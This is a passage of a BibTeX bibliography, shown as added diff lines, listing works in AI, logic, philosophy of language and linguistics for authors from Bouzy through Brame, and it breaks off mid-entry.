+ +@article{ bouzy-cazenave:2001a, + author = {Bruno Bouzy and Tristan Cazenave}, + title = {Computer Go: An {AI} Oriented Survey}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {1}, + pages = {39--103}, + topic = {computer-games;} + } + +@article{ bovens:1995a, + author = {Luc Bovens}, + title = {\,\`P and I Will Believe that not-P': Diachronic + Constraints on Rational Belief}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {416}, + pages = {737--760}, + topic = {philosophy-of-belief;will-to-believe;belief;rationality;} + } + +@incollection{ bovens-hartmann_s:2001a, + author = {Luc Bovens and Stephan Hartmann}, + title = {Belief Expansion, Contextual Fit and the Reliability of + Information Sources}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {425--428}, + address = {Berlin}, + topic = {context;} + } + +@article{ bovens-hartmann:2002a, + author = {Luc Bovens and Stephan Hartmann}, + title = {Bayesian Networks and the Problem of Unreliable + Instruments}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {29--72}, + topic = {Bayesian-networks;philosophy-of-science;} + } + +@article{ bowen:1975a, + author = {Kenneth A. Bowen}, + title = {Normal Modal Model Theory}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {2}, + pages = {97--131}, + topic = {modal-logic;} + } + +@incollection{ bowen-kowalski:1982a, + author = {Kenneth A. Bowen and Robert A. Kowalski}, + title = {Amalgamating Language and Metalanguage in Logic Programming}, + booktitle = {Logic Programming}, + publisher = {Academic Press}, + year = {1982}, + address = {New York}, + editor = {Keith L. Clark and Sten-{\AA}ke T{\aa}rnlund}, + missinginfo = {pages.}, + topic = {metaprogramming;logic-programming;} + } + +@techreport{ bowen-dejongh:1986a, + author = {Kenneth Bowen and Dick de Jongh}, + title = {Some Complete Logics for Branched Time. Part {I}: Well-Founded + Time, Forward Looking Operators}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {86--05}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {branching-time;} + } + +@article{ bowen:1987a, + author = {Kenneth A. Bowen}, + title = {On the Use of Logic: Reflections on {M}c{D}ermott's + Critique of Pure Reason}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {165--168}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ bower-clapper:1989a, + author = {Gordon H. Bower and John P. Clapper}, + title = {Experimental Methods in Cognitive Science}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {7}, + pages = {245--300}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;empirical-methods-in-cogsci;} + } + +@article{ bowerman:1990a, + author = {Melissa Bowerman}, + title = {Mapping Thematic Roles onto Syntactic Functions: Are + Children Helped by Innate Linking Rules?}, + journal = {Linguistics}, + year = {1990}, + volume = {28}, + pages = {1253--1289}, + missinginfo = {number}, + topic = {thematic-roles;semantics-acquisition;L1-acquisition;} + } + +@incollection{ bowerman:1996a, + author = {Melissa Bowerman}, + title = {Learning How to Structure Space for Language: A + Crosslinguistic Perspective}, + booktitle = {Language and Space}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {P. Bloom and M.A. Peterson and L. Nadel and + M.F. Garrett}, + pages = {385--436}, + address = {Cambridge, Massachusetts}, + topic = {spatial-language;semantics-acquisition;L1-acquisition;} + } + +@book{ bowers:1971a, + author = {John S. Bowers}, + title = {Adjectives and Adverbs in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1971}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {adjectives;adverbs;} + } + +@unpublished{ bowers:1974a, + author = {John S. Bowers}, + title = {On Restrictive and Nonrestrictive Relative Clauses}, + year = {1974}, + note = {Unpublished manuscript, Cornell University.}, + topic = {nl-syntax;relative-clauses;nonrestrictive-relative-clauses;} + } + +@article{ bowers-reichenbach_ukh:1979a, + author = {John S. Bowers and Uwe K.H. Reichenbach}, + title = {Montague and Transformational Grammar: A Review + of {\it Formal Philosophy: Selected Papers of + {R}ichard {M}ontague}}, + journal = {Linguistic Analysis}, + year = {1979}, + volume = {5}, + number = {3}, + pages = {195--247}, + xref = {Review of montague:1974a.}, + topic = {montague-grammar;nl-semantics;} + } + +@inproceedings{ bowers:1991a, + author = {John S. Bowers}, + title = {The Syntax and Semantics of Nominals}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {1--30}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nominal-constructions;nominalization;} + } + +@inproceedings{ bowers:1993a, + author = {John S. Bowers}, + title = {The Structure of {I}-Level and {S}-Level Predicates}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + missinginfo = {pages}, + topic = {i-level/s-level;} + } + +@article{ bowie:1982a, + author = {G. Lee Bowie}, + title = {Lucas' Number is Finally Up}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {3}, + pages = {279--285}, + topic = {philosophy-of-computation;goedels-first-theorem;} + } + +@book{ box-tiao:1973a, + author = {George E. Box and George C. Tiao}, + title = {Bayesian Inference in Statistical Analysis}, + publisher = {Addison Wesley}, + year = {1984}, + address = {Reading, Massachusetts}, + topic = {Bayesian-statistics;} + } + +@book{ boyd-richerson:1985a, + author = {Robert Boyd and Peter J. Richerson}, + title = {Culture and the Evolutionary Process}, + publisher = {University of Chicago Press}, + year = {1985}, + address = {Chicago}, + ISBN = {0226069311}, + topic = {social-change;} + } + +@inproceedings{ boye-etal:1999a, + author = {Johan Boye and Mats Wir\'en and Manny Rayner and + Ian Lewin and David Carter and Ralph Becket}, + title = {Language-Proccessing Strategies for Mixed-Initiative + Dialogues}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {17--23}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {spoken-dialogue-systems;computational-dialogue; + mixed-initiative-systems;} + } + +@incollection{ boyer-moore_js:1972a, + author = {Robert S. Boyer and J. Strother Moore}, + title = {The Sharing of Structure in Theorem-Proving Programs}, + booktitle = {Machine Intelligence 7}, + publisher = {Edinburgh University Press}, + year = {1972}, + editor = {Donald Michie and Bernard Meltzer}, + pages = {101--116}, + topic = {theorem-proving;} + } + +@book{ boyer:1991a, + editor = {Robert S. Boyer}, + title = {Automated Reasoning: Essays in Honor of {W}oody {B}ledsoe}, + publisher = {Kluwer Academic Publishers}, + year = {1991}, + address = {Dordrecht}, + ISBN = {0792314093 (HB)}, + topic = {theorem-proving;} + } + +@incollection{ boyer-etal:1991a, + author = {Robert S. Boyer and David M. Goldschag and Matt Kaufman and + J. Strother Moore}, + title = {Functional Instantiation in First-Order Logic}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {7--26}, + address = {San Diego}, + topic = {theorem-proving;} + } + +@incollection{ boyer-moore_js:1996a, + author = {Robert S. Boyer and J. Strother Moore}, + title = {Mechanized Reasoning about Programs and Computing + Machines}, + booktitle = {Automated Reasoning and Its Applications: Essays + in Honor of {L}arry {W}os}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {R. Veroff}, + pages = {146--176}, + address = {Cambridge, Massachusetts}, + missinginfo = {E's 1st name.}, + topic = {theorem-proving;program-verification;} + } + +@article{ boyne:1972a, + author = {Chris Boyne}, + title = {Vagueness and Colour Predicates}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {324}, + pages = {576--577}, + topic = {vagueness;} + } + +@inproceedings{ bozsahin:1998a, + author = {Cem Bozsahin}, + title = {Deriving the Predicate-Argument Structure for a Free Word + Order Language}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {167--173}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {categorial-grammar;free-word-order;} +} + +@incollection{ brachman:1979a1, + author = {Ronald J. Brachman}, + title = {On the Epistemological Status of Semantic Networks}, + booktitle = {Associative Networks: Representation and Use of Knowledge by + Computers}, + publisher = {Academic Press}, + year = {1979}, + editor = {N.V. Findler}, + pages = {3--50}, + address = {New York}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See brachman:1979a2.}, + topic = {kr;semantic-nets;kr-course;} + } + +@incollection{ brachman:1979a2, + author = {Ronald J. Brachman}, + title = {On the Epistemological Status of Semantic Networks}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {191--216}, + xref = {Originally published in N.V. Findler; Associative + Networks: Representation and Use of Knowledge by + Computers; Academic Press; 1979. See brachman:1979a1.}, + topic = {kr;semantic-nets;kr-course;} + } + +@article{ brachman-etal:1983a, + author = {Ronald J. Brachman and Richard Fikes and Hector J. Levesque}, + title = {{\sc krypton}: A Functional Approach to {KR}}, + journal = {{I}{E}{E}{E} Computer}, + year = {1983}, + volume = {16}, + pages = {67--73}, + missinginfo = {number}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@inproceedings{ brachman-etal:1983b, + author = {Ronald J. Brachman and Richard E. Fikes and Hector J. Levesque}, + title = {{\sc krypton}: Integrating Terminology and Assertion}, + booktitle = {Proceedings of the Third National Conference on + Artificial Intelligence}, + year = {1983}, + pages = {31--35}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + contentnote = {This is the paper introducing the term {hybrid systems}, + and I guess the first dogma of KR. --RT}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@article{ brachman:1985a, + author = {Ronald Brachman}, + title = {I Lied about the Trees or, Defaults and Definitions in + Knowledge Representation}, + journal = {AI Magazine}, + year = {1985}, + volume = {6}, + pages = {80--93}, + missinginfo = {number}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@book{ brachman-levesque:1985a, + editor = {Ronald J. Brachman and Hector J. Levesque}, + title = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + address = {Los Altos, California}, + topic = {kr;kr-course;kr-survey;} + } + +@article{ brachman:1987a, + author = {Ronald Brachman}, + title = {The Myth of the One True Logic}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {168--172}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@inproceedings{ brachman-etal:1989a, + author = {Ronald J. Brachman and Alex Borgida and Deborah + L. McGuinness and Lori A. Resnik}, + title = {The {CLASSIC} Knowledge Representation System, or, + {KL-ONE}: The Next Generation}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + missinginfo = {Pages. CHECK THIS I HAVE A PREPRINT ONLY}, + topic = {taxonomic-logics;krcourse;} + } + +@book{ brachman-etal:1989b, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + title = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + address = {San Mateo, California}, + topic = {kr;} + } + +@inproceedings{ brachman:1990a, + author = {Ronald J. Brachman}, + title = {The Future of Knowledge Representation}, + booktitle = {Proceedings of the Eighth National + Conference on Artificial Intelligence}, + year = {1990}, + pages = {1082--1092}, + publisher = {AAAI Press}, + volume = {2}, + address = {Menlo Park, California}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@incollection{ brachman-etal:1991a, + author = {Ronald J. Brachman and Deborah L. McGuinness and Peter + F. Patel-Schneider and Lori A. Resnik}, + title = {Living with {\sc classic}: When and How to Use a + {\sc kl-one}-Like Language}, + booktitle = {Principles of Semantic Networks}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {John F. Sowa}, + pages = {401--456}, + address = {San Mateo, California}, + topic = {kr;taxonomic-logics;classic;kr-course;} + } + +@article{ brachman-etal:1991b, + author = {Ronald J. Brachman and Hector J. Levesque and Ray Reiter}, + title = {Introduction to the Special Volume on Knowledge + Representation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {3}, + pages = {1--3}, + topic = {kr;} + } + +@article{ brachman-levesque:1991a, + author = {Ronald J. Brachman and Hector J. Levesque}, + title = {Look What They've Done to My Dogma! On Limitations in + Knowledge Representation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@article{ brachman-schmolze:1991a, + author = {Ronald J. Brachman and James Schmolze}, + title = {An Overview of the {\sc Kl-One} Knowledge Representation + System}, + journal = {Cognitive Science}, + year = {1991}, + volume = {9}, + pages = {171--216}, + missinginfo = {number}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@incollection{ brachman:1992a, + author = {Ronald J. Brachman}, + title = {``{R}educing'' {\sc classic} to Practice: Knowledge + Representation Theory Meets Reality}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {247--258}, + address = {San Mateo, California}, + topic = {kr;taxonomic-logics;applied-kr;kr-course;} + } + +@book{ brachman-etal:1992a, + editor = {Ronald J. Brachman and Hector J. Levesque and + Raymond Reiter}, + title = {Knowledge Representation}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {kr-survey;} + } + +@article{ brachman-etal:1999a, + author = {Ronald J. Brachman and } , + title = {``{R}educing'' {\sc classic} to Practice: Knowledge + Representation Theory Meets Reality}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {203--237}, + topic = {kr;taxonomic-logics;applied-kr;kr-course;} + } + +@book{ brackbill-cohen:1985a, + editor = {Jeremiah U. Brackbill and Bruce I. Cohen}, + title = {Multiple Time Scales}, + publisher = {Academic Press}, + year = {1985}, + address = {New York}, + ISBN = {0121234207}, + topic = {nonlinear-mathematics;} + } + +@article{ bracken:1973a, + author = {H. Bracken}, + title = {Minds and Learning: The {C}homskyian Revolution}, + journal = {Metaphilosophy}, + year = {1973}, + volume = {4}, + pages = {229--245}, + missinginfo = {A's 1st name, number}, + topic = {Chomsky;L1-acquisition;} + } + +@book{ braddonmitchell-jackson_f:1996a, + author = {David Braddon-Mitchell and Frank Jackson}, + title = {The Philosophy of Mind and Cognition}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + ISBN = {0631191674 (hbk)}, + topic = {philosophy-of-mind;philosophy-of-cogsci;} + } + +@article{ bradley-etal:2001a, + author = {Elizabeth Bradley and Matthew Easley and Reinhard Stolle}, + title = {Reasoning about Nonlinear System Identification}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {133}, + number = {1--2}, + pages = {139--188}, + topic = {qualitative-reasoning;qualitative-physics;kr;} + } + +@book{ bradley_fh:1927a, + author = {F.H. Bradley}, + title = {Ethical Studies (Second Edition)}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1927}, + topic = {ethics;} + } + +@article{ bradley_r:1999a, + author = {Richard Bradley}, + title = {More Triviality}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {2}, + pages = {129--139}, + topic = {conditionals;CCCP;} + } + +@incollection{ bradley_r:2000a, + author = {Richard Bradley}, + title = {Conditionals and the Logic of Decision}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S18--S32}, + address = {Newark, Delaware}, + topic = {decision-theory;conditionals;} + } + +@article{ bradley_rd:1959a, + author = {Raymond D. Bradley}, + title = {Must the Future Be What it Is Going to Be?}, + journal = {Mind}, + year = {1959}, + volume = {68}, + number = {1}, + pages = {193--208}, + topic = {(in)determinism;} + } + +@article{ bradley_rd:1962a, + author = {Raymond D. Bradley}, + title = {\,`Ifs', `Cans' and Determinism}, + journal = {Australasian Journal of Philosophy}, + year = {1962}, + volume = {40}, + pages = {146--158}, + missinginfo = {A's 1st name, number}, + topic = {JL-Austin;conditionals;(in)determinism;freedom;} + } + +@article{ bradley_rd:1964a, + author = {Raymond D. Bradley}, + title = {Geometry and Necessary Truth}, + journal = {The Philosophical Review}, + year = {1964}, + volume = {73}, + number = {1}, + pages = {59--75}, + topic = {psychology-of-mathematics;necessary-truth;geometry;} + } + +@book{ bradshaw:1996a, + editor = {Jeffrey M. Bradshaw}, + title = {Software Agents}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {agency;distributed-systems;communications-protocols;} + } + +@incollection{ brady_ah:1988a, + author = {Allen H. Brady}, + title = {The Busy Beaver Game and the Meaning of Life}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {259--277}, + address = {Oxford}, + topic = {automata-theory;} + } + +@article{ brady_m:1980a, + author = {Mike Brady}, + title = {Review of {\it Techniques of Artificial Intelligence}, by + {S}tuart {C}. {S}hapiro}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {1}, + pages = {109--110}, + xref = {Review of shapiro_sc:1979a.}, + topic = {AI-intro;} + } + +@article{ brady_m:1981a, + author = {Michael Brady}, + title = {Preface---The Changing Shape of Computer Vision}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {1--15}, + topic = {computer-vision;} + } + +@article{ brady_m:1982a, + author = {Michael Brady}, + title = {Computer Vision}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {1982}, + number = {1}, + pages = {7--16}, + topic = {computer-vision;} + } + +@article{ brady_m:1983a, + author = {Michael Brady}, + title = {Parallelism in Vision}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {3}, + pages = {271--283}, + acontentnote = {Abstract: + The past year has seen a continuing flood of papers and new + ideas spanning the entire range of computer vision. In this + report we provide pointers to two areas that have received + particular attention, namely (i) image processing hardware and + parallel image understanding algorithms, including connectionist + theories of perception and cognition, and (ii) robotic vision. + Finally, we provide an annotated review of the literature as in + (Brady, 1982a; Sections 2 and 3).}, + topic = {computer-vision;parallel-processing;connectionist-models;} + } + +@article{ brady_m:1985a, + author = {Michael Brady}, + title = {Artificial Intelligence and Robotics}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {1}, + pages = {79--121}, + topic = {robotics;} + } + +@incollection{ brady_m:1993a, + author = {Michael Brady}, + title = {Computational Vision}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {121--150}, + address = {Oxford}, + topic = {computer-vision;} + } + +@article{ brady_m-hu:1994a, + author = {Michael Brady and Huosheng Hu}, + title = {The Mind of a Robot}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {5--28}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {philosophy-AI;robotics;minimalist-robotics; + motion-planning;reasoning-about-uncertainty;computer-vision;} + } + +@book{ brady_ra:2002a, + author = {Ross Thomas Brady}, + title = {Relevant Logics and Their Rivals, Volume {II}}, + publisher = {Ashgate Publishing Co.}, + year = {19}, + address = {Brookfield, Vermont}, + ISBN = {0 7546 1113 2}, + topic = {relevance-logic;} + } + +@article{ brady_rt:1990a, + author = {Ross T. Brady}, + title = {The {G}entzenization and Decidability of {RW}}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {1}, + pages = {35--73}, + topic = {relevance-logic;proof-theory;} + } + +@article{ brady_rt:1991a, + author = {Ross T. Brady}, + title = {Gentzenization and Decidability of Some Contraction-Less + Relevant Logics}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {1}, + pages = {97--117}, + topic = {proof-theory;relevance-logic;} + } + +@article{ brady_rt:1992a, + author = {Ross T. Brady}, + title = {Hierarchical Semantics for Relevant Logics}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {4}, + pages = {357--374}, + topic = {relevance-logic;} + } + +@article{ brady_rt:1994a, + author = {Ross T. Brady}, + title = {Rules in Relevant Logic---{I}: Semantic Classification}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {2}, + pages = {111--137}, + topic = {relevance-logic;inference-rules;} + } + +@article{ brady_rt:1996a, + author = {Ross T. Brady}, + title = {Relevant Implication and the Case for a Weaker Logic}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {2}, + pages = {151--183}, + topic = {relevance-logic;} + } + +@article{ brady_rt:1996b, + author = {Ross T. Brady}, + title = {Gentzenization of Relevant Logics Without Distribution, {I}}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {2}, + pages = {353--378}, + topic = {relevance-logic;cut-free-deduction;} + } + +@article{ brady_rt:1996c, + author = {Ross T. Brady}, + title = {Gentzenization of Relevant Logics Without Distribution, {II}}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {2}, + pages = {379--401}, + topic = {relevance-logic;cut-free-deduction;} + } + +@article{ brady_rt:1996d, + author = {Ross T. Brady}, + title = {Gentzenization of Relevant Logics With Distribution}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {2}, + pages = {402--420}, + topic = {relevance-logic;cut-free-deduction;} + } + +@incollection{ brafman-etal:1994a, + author = {Ronen Brafman and J.-C. Latombe}, + title = {Knowledge as a Tool in Motion Planning Under Uncertainty}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {208--224}, + address = {San Francisco}, + missinginfo = {Au's 1st name.}, + topic = {epistemic-logic;cognitive-robotics;} + } + +@incollection{ brafman-tennenholtz:1994a, + author = {Ronen Brafman and Moshe Tennenholtz}, + title = {Belief Ascription and Mental-Level Modeling}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {87--98}, + address = {San Francisco, California}, + topic = {kr;propositional-attitudes;agent-modeling;belief; + reasoning-about-mental-states;kr-course;} + } + +@inproceedings{ brafman-friedman:1995a, + author = {Ronen Brafman and Nir Friedman}, + title = {On Decision-Theoretic Foundations for Defaults}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {1458--1465}, + topic = {decision-theory;nonmonotonic-reasoning;} + } + +@inproceedings{ brafman-shoham_y1:1995a, + author = {Ronen Brafman and Yoav Shoham}, + title = {Knowledge Considerations in Robotics and Distribution + of Robotic Tasks}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {96--102}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;kr-course;reasoning-about-knowledge; + foundations-of-robotics;distributed-systems;task-allocation;} + } + +@inproceedings{ brafman-tennenholtz:1995a, + author = {Ronen Brafman and Moshe Tennenholtz}, + title = {Towards Action Prediction Using a Mental-Level Model}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {2010--2016}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {reasoning-about-knowledge;reasoning-about-mental-states;} + } + +@incollection{ brafman:1996a, + author = {Ronen I. Brafman}, + title = {\,`Statistical' First Order Conditionals}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {398--409}, + address = {San Francisco, California}, + topic = {conditionals;probability;nonmonotonic-conditionals;} + } + +@inproceedings{ brafman-tennenholtz:1997a1, + author = {Ronen Brafman and Moshe Tennenholtz}, + title = {On the Axiomatization of Qualitative Decision + Criteria}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {29--34}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + xref = {Conference publication: brafman-tennenholtz:1997a2.}, + topic = {qualitative-utility;} + } + +@inproceedings{ brafman-tennenholtz:1997a2, + author = {Ronen I. Brafman and Moshe Tennenholtz}, + title = {On the Axiomatization of Qualitative Decision Criteria}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference, + Vol. 1}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {76--81}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {qualitative-utility;} + } + +@inproceedings{ brafman-tennenholtz:1997b, + author = {Ronen Brafman and Moshe Tennenholtz}, + title = {On Decision-Theoretic Foundations for Defaults}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {pages}, + topic = {qualitative-utility;nonmonotonic-reasoning;} + } + +@article{ brafman-tennenholtz:1997c, + author = {Ronen Brafman and Moshe Tennenholtz}, + title = {Modeling Agents as Qualitative Decision Makers}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {217--268}, + topic = {qualitative-utility;agent-modeling;} + } + +@article{ brafman-etal:1998a, + author = {Ronen I. Brafman and Joseph Y. Halpern and Yoav Shoham}, + title = {On the Knowledge Requirements of Tasks}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {317--349}, + topic = {cognitive-robotics;knowledge-based-programming;} + } + +@inproceedings{ brafman-tennenholtz:1998a, + author = {Ronan Brafman and Moshe Tennenholtz}, + title = {On the Axiomatization of Qualitative Decision Criteria}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {76--81}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {qualitative-utility;} + } + +@article{ brafman-tennenholtz:2000a, + author = {Ronen Brafman and Moshe Tennenholtz}, + title = {A Near-Optimal Polynomial Time Algorithm for + Learning in Certain Classes of Stochastic Games}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {31--47}, + topic = {stochastic-games;multiagent-systems;machine-learning;} + } + +@article{ brafman-friedman_n:2001a, + author = {Ronen I. Brafman and Nir Friedman}, + title = {On Decision-Theoretic Foundations for Defaults}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {133}, + number = {1--2}, + pages = {1--33}, + topic = {foundations-of-nonmonotonic-logic;decision-theory; + nonmonotonic-reasoning;} + } + +@article{ braine:1974a, + author = {Martin D.S. Braine}, + title = {On What Might Constitute Learnable Phonology}, + journal = {Language}, + year = {1974}, + volume = {50}, + pages = {270--299}, + missinginfo = {number}, + topic = {phonology;learnability;} + } + +@article{ braine:1979a, + author = {Martin D.S. Braine}, + title = {On Some Claims about {\em If-Then}}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {35--47}, + contentnote = {Braine claims that the counterexamples to transitivity + are flawed.}, + topic = {conditionals;} + } + +@book{ braine-obrian:1997a, + editor = {Martin D.S. Braine and David P. O'Brian}, + title = {Mental Logic}, + publisher = {Lawrence Erlbaum Associates}, + year = {1997}, + address = {Mahwah, New Jersey}, + ISBN = {0-8058-2388-3}, + xref = {Review: tanaka_k2:2001b.}, + topic = {logic-and-cognition;} + } + +@book{ braithwaite:1931a, + editor = {R.B. Braithwaite}, + title = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {logic-classics;} + } + +@article{ brame:1975a, + author = {Michael K. Brame}, + title = {On the Abstractness of Syntactic Structure: The {VP} + Controversy}, + journal = {Linguistic Analysis}, + year = 